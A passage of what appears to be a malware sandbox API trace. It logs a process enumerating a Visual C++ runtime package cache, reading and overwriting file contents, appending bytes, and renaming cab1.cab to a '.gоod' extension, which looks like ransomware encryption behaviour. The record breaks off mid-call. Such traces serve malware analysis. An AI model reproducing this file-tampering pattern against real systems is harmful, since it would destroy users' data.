[0080.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0080.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0080.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0080.172] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", lpFilePart=0x0) returned 0x58 [0080.172] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0080.172] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.172] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0080.172] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.172] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0080.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0080.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0080.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0080.173] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6d [0080.173] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0080.173] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.173] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0080.173] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0080.174] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.174] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0080.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0080.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0080.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0080.174] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6d [0080.174] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0080.174] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.174] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0080.174] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0080.175] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0080.175] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0080.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0080.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0080.175] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x76 [0080.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0080.175] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x356e710 | out: lpFileInformation=0x356e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb)) returned 1 [0080.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0080.176] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x76 [0080.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0080.176] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0080.176] GetFileType (hFile=0x76c) returned 0x1 [0080.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0080.176] GetFileType (hFile=0x76c) returned 0x1 [0080.176] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0080.176] ReadFile (in: hFile=0x76c, lpBuffer=0x356ebf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x356ebf8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0080.178] CloseHandle (hObject=0x76c) returned 1 [0080.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x76 [0080.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0080.178] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0080.178] GetFileType (hFile=0x76c) returned 0x1 [0080.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0080.178] GetFileType (hFile=0x76c) returned 0x1 [0080.179] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x13babb [0080.179] WriteFile (in: hFile=0x76c, lpBuffer=0x356ffb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x356ffb8*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0080.181] CloseHandle (hObject=0x76c) returned 1 [0080.695] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x76 [0080.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0080.695] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.696] GetFileType (hFile=0x768) returned 0x1 [0080.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0080.696] GetFileType (hFile=0x768) returned 0x1 [0080.696] ReadFile (in: hFile=0x768, lpBuffer=0x33e4c70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x33e4c70*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0081.033] CloseHandle (hObject=0x768) returned 1 [0081.034] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x76 [0081.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0081.034] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0081.034] GetFileType (hFile=0x768) returned 0x1 [0081.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0081.034] GetFileType (hFile=0x768) returned 0x1 [0081.034] WriteFile (in: hFile=0x768, lpBuffer=0x322d7f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x322d7f0*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0081.034] CloseHandle (hObject=0x768) returned 1 [0081.901] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x76 [0081.939] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7b [0081.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0081.939] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2cade96d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13bacb)) returned 1 [0081.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0081.940] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.gоod")) returned 1 [0081.940] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x87 [0081.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0081.940] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x340e068 | out: lpFileInformation=0x340e068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000)) returned 1 [0081.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0081.941] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x87 [0081.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0081.941] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0081.941] GetFileType (hFile=0x768) returned 0x1 [0081.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0081.941] GetFileType (hFile=0x768) returned 0x1 [0081.941] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0081.941] ReadFile (in: hFile=0x768, lpBuffer=0x340e5b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x340e5b0*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0081.943] CloseHandle (hObject=0x768) returned 1 [0081.943] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x87 [0081.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0081.943] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0081.943] GetFileType (hFile=0x768) returned 0x1 [0081.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0081.943] GetFileType (hFile=0x768) returned 0x1 [0081.943] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x24000 [0081.943] WriteFile (in: hFile=0x768, lpBuffer=0x340fa68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x340fa68*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0081.944] CloseHandle (hObject=0x768) returned 1 [0081.948] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x87 [0081.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0081.948] CreateFileW (lpFileName="C:\\ProgramData\\Package 